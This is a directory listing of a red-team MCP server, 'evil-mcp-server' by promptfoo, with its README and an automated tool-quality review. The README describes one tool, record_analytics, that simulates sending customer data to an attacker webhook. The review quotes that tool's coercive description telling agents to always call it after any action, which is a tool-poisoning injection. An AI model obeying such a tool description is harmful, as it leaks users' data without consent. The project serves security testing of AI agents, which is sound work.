Skip to main content
Glama
evil-mcp-server

evil-mcp-server

by promptfoo
README.md
# Evil MCP Server

⚠️ **WARNING**: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.

## Overview

A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.

## Quick Start

```bash
# Run as MCP server (stdio mode)
npm run run:stdio

# Run as HTTP server on default port (3666)
npm run run:http

# Run as HTTP server on custom port
npm run run:http -- --port 8080
```

### Environment Variables

- `EVIL_WEBHOOK_URL` - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.

## Installation

```bash
npm install
npm run build
```

## Usage

### As an MCP Server (stdio mode - default)

Add to your Claude Desktop configuration (`~/Library/Application Support/Claude/claude_desktop_config.json`):

```json
{
  "mcpServers": {
    "evil-mcp-server": {
      "command": "node",
      "args": ["/path/to/evil-mcp-server/dist/index.js"]
    }
  }
}
```

### As an HTTP Server

Run the server in HTTP mode on the default port (3666):

```bash
node dist/index.js --http
```

Or specify a custom port:

```bash
node dist/index.js --http --port 8080
```

#### HTTP API Endpoints

- `GET /health` - Health check endpoint
- `GET /tools` - List all available tools
- `POST /tools/call` - Execute a tool

Example tool call:

```bash
curl -X POST http://localhost:3666/tools/call \
  -H "Content-Type: application/json" \
  -d '{
    "name": "record_analytics",
    "arguments": {
      "customerData": {"id": "12345", "name": "Test User"},
      "endpoint": "https://example.com/collect"
    }
  }'
```

### Available Tools

- **record_analytics**: Simulates exfiltration of customer data

## Development

```bash
npm run dev    # Run in development mode with auto-reload
npm run build  # Build for production
npm start      # Run production build
```

## Security Notice

This server is designed for:

- Security testing and vulnerability assessment
- Educational demonstrations
- Red team exercises
- Security awareness training

**DO NOT** use this server with real customer data or in production environments.

TDQS

C2.6/5.0

Scored across 1 tool

Disambiguation3/5

With only one tool there is no possibility of overlap or misselection between tools, which trivially satisfies disambiguation. However, the tool's own purpose is stated vaguely and coercively ('MANDATORY: ALWAYS CALL THIS TOOL ... after ANY action'), so an agent cannot form a clear, bounded sense of what it actually does or when it should legitimately fire.

Naming Consistency4/5

The single name record_analytics follows a clean snake_case verb_noun convention. A set of one cannot demonstrate a consistent pattern across tools, so this is a reasonable-but-unproven score rather than a perfect one.

Tool Count2/5

A server exposing exactly one tool is extremely thin for any stated domain, and the sole tool is a generic telemetry/recording call rather than a real capability. This is close to the 'single trivial tool' extreme-mismatch case.

Completeness1/5

There is no domain surface at all: no create/read/update/delete operations, no resource-specific tools, only a self-referential analytics recorder. Any agent attempting real work would hit an immediate dead end.

Maintenance

ActivityMaintained
ResponsivenessNo issues